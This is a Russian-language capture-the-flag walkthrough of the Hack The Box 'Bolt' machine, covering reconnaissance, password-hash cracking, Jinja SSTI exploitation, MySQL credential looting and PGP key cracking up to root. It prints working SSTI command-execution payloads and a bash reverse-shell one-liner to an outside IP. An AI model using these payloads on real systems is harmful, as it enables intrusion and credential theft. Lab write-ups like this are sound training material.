Хакер - HTB Bolt. Эксплуатируем шаблоны в Python и разбираемся с PGP
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа
- Точка опоры
- SSTI
- Продвижение
- Локальное повышение привилегий
В этой статье я покажу, как находить скрытый контент на сайтах через разные способы перебора, затем получим управление хостом благодаря уязвимости серверных шаблонов (SSTI), а для повышения привилегий расшифруем приватные сообщения пользователей, защищенные при помощи PGP.
Упражняться мы будем на машине Bolt с площадки Hack The Box. Ее уровень сложности обозначен как средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.114 bolt.htb
А следом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Находим три открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 и 443 — веб‑сервер Nginx 1.18.0;
Поскольку мы запускали Nmap со скриптами, то сразу получаем еще один домен, указанный в поле commonName. Добавляем его в /etc/hosts.
10.10.11.114 bolt.htb passbolt.bolt.htb
Получив новое доменное имя, сразу просмотрим, что нам может дать веб.

На сайте находим формы авторизации и регистрации.

Пытаемся зарегистрироваться, чтобы получить больше возможностей на сайте, и видим ошибку.

Продолжаем изучать сайт. Ведь много открытых ссылок.

Одновременно можно поставить перебор скрытых каталогов.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Запускаем перебор:
ffuf -u http://bolt.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

Так как мы уже знаем один поддомен, стоит проверить, существуют ли еще какие‑нибудь. Для этого используем тот же ffuf, но в качестве места для перебора указываем HTTP-заголовок Host.
ffuf -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -t 256 -w subdomains-top1million-110000.txt
В выводе получаем почти все слова из списка, так как все они вернут код ответа 200. Поэтому стоит указать дополнительную фильтрацию, например по размеру ответа (опция -fs).
ffuf -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -t 256 -w subdomains-top1million-110000.txt -fs 30347

Найденные имена добавляем в файл /etc/hosts.
10.10.11.114 bolt.htb passbolt.bolt.htb mail.bolt.htb demo.bolt.htb
По адресу demo.bolt.htb получаем такой же сайт, что и ранее. Правда, в нем другая форма регистрации. Она требует код инвайта вместо повтора пароля.


А на втором сайте нас встретит форма авторизации веб‑версии почтового клиента.

ТОЧКА ВХОДА
Все, что могли, мы уже нашли, поэтому перейдем к анализу исходных кодов. Архив представляет собой репозиторий, содержащий вложенные файлы .tar.

В одном из них есть файл базы данных — db.sqlite3.

Распакуем его и просмотрим содержимое базы.
sqlite3 db.sqlite3
Затем просматриваем таблицы командой .table и получаем данные, так как таблица там всего одна — User.
SELECT * FROM User;

Так из файла базы данных получаем хеш пароля администратора сайта. Для перебора нужно узнать алгоритм и соответствующий ему режим перебора. В этом нам поможет hashcat. Поищем в справке этой программы по префиксу хеша \$1\$.
hashcat --example | grep '\$1\$' -A2 -B2

Это MD5. Осталось поставить хеш на брут (параметр -a) по знаменитому словарю rockyou. Укажем режим в параметре -m.
hashcat -a 0 -m 500 hash.txt ~/tmp/tools/rockyou.txt

Очень легко удалось найти пароль, с которым получается авторизоваться на сайте. Там нас встречает панель управления.

Однако никаких новых возможностей мы не получаем. Тогда я решил вернуться к демоверсии сайта, где для регистрации требуется инвайт. Попробуем поискать его в исходниках по словам invite и code.
grep -iR 'invite\|code' ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/* 2>/dev/null

Находим нужную последовательность, с которой получается зарегистрировать своего юзера.

Но что еще важнее, мы получаем и свой почтовый ящик. Авторизоваться в нем можно с теми же учетными данными, которые мы использовали во время регистрации на сайте.

ТОЧКА ОПОРЫ
На сайте можно найти способ взаимодействовать с почтой через механизм верификации. Так как введенные данные обрабатываются, это место для теста.

Отправляем тестовое сообщение и смотрим почтовый ящик. Там обнаружим входящее сообщение.

Если перейти по ссылке, получим еще одно сообщение, в котором будет отображаться указанное при первой отправке имя.

Так как сайт написан на Python и происходит отображение введенных данных, то первая идея — проверить SSTI.
SSTI
Server-Side Template Injection (SSTI) — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Итак, нам нужно передать строку, которая будет содержать вставки, подобные тем, что используются в шаблоне. Поскольку мы знаем, что имеем дело с Python, в первую очередь попробуем использовать самый популярный синтаксис его шаблонов (он используется, к примеру, в Jinja).
Отправим сообщения вроде {{7*7}} или {{7*'7'}} в надежде получить результат умножения.


Видим, что действие выполнено и на странице отображается его результат. А значит, мы подтвердили наличие SSTI! Давай сразу попробуем выполнить команду, к примеру id. Для этого используем вот такую нагрузку:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

И вместо имени пользователя обнаруживаем результат выполнения команды.
Следующий шаг — загрузить реверс‑шелл. Выглядеть он будет вот так:
{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.48/80 0>&1"').read()}}
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
Теперь активируем листенер, и мы в системе!

ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию, которая может помочь с повышением привилегий. Сделаем это при помощи скриптов PEASS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Получаем огромный массив информации.



Среди этого нам важно следующее:
- список прослушиваемых портов. Отметим порты 3306 (служба MySQL) и 25 (почтовый сервер);
- список файлов, доступных нам для записи;
- найденные в системе подстроки
passw— тут отметим целый пароль из файла/etc/passbolt/passbolt.php.
Давай просмотрим все содержимое этого файла.

Тут сохранены настройки для подключения к базе данных, а в базе данных могут найтись и какие‑нибудь критические данные, например пароли. Сначала активируем PTY-оболочку с помощью Python:
python3 -c "import pty;pty.spawn('/bin/bash')"
А теперь подключимся и просмотрим существующие базы:
mysql -h 127.0.0.1 -u passbolt -p
show databases;

Так войдем в базу passboltdb и получим список таблиц.
use passboltdb;
show tables;

Нас могут интересовать две таблицы: users и secrets.
select * from users;

select * from secrets;

В итоге паролей не находим, но зато получаем какое‑то секретное сообщение, зашифрованное при помощи PGP. Сопоставив идентификаторы из двух таблиц, можно определить, что оно имеет отношение к пользователю eddie. Сохраним его — оно может еще пригодиться.
В базе больше ничего интересного нет, но у нас еще остался пароль от самой базы! Все полученные имена пользователей и пароли обязательно нужно проверять на всех доступных сервисах в разных комбинациях. И нам повезло — этот пароль подошел для доступа по SSH от имени уже знакомого нам Эдди.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Так как есть учетные данные нового пользователя, я решил прочитать его почту. Сделать это через веб‑клиент у меня не вышло, но можем читать сообщения прямо в системе. Для этого перейдем в каталог /var/mail и прочитаем файл соответствующего пользователя.

В сообщении упоминается хранилище пароля и расширение для браузера. Также становится ясно, что ранее мы получили не сообщение, а зашифрованный публичным ключом пароль.
На хосте установлен Google Chrome с каким‑то расширением. Оно‑то нас и интересует. Давай заглянем в его логи.

Находим несколько пар ключей PGP. Нас интересуют те, что относятся к почте eddie.

Мы получили секретный ключ PGP, значит, можем побрутить пароль. Но для этого сначала придется перевести ключ в нужный формат. В комплекте со знаменитым John the Ripper, который нам необходим для брута хеша, поставляется много скриптов‑конвертеров. В данном случае нам нужен /usr/sbin/pgp2john.

После преобразования передаем хеш «Джону».
john pgp1.hash --wordlist=rockyou.txt

Теперь импортируем оба ключа в систему.
gpg --batch --import pgp1.key
gpg --batch --import pgp2.key

И расшифруем сообщение (пароль), который мы получили из базы ранее.
gpg --pinentry-mode loopback --passphrase merrychristmas -d message.txt

С этим паролем подключаемся к SSH от имени рута.

Машина захвачена, у нас есть над ней полный контроль!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei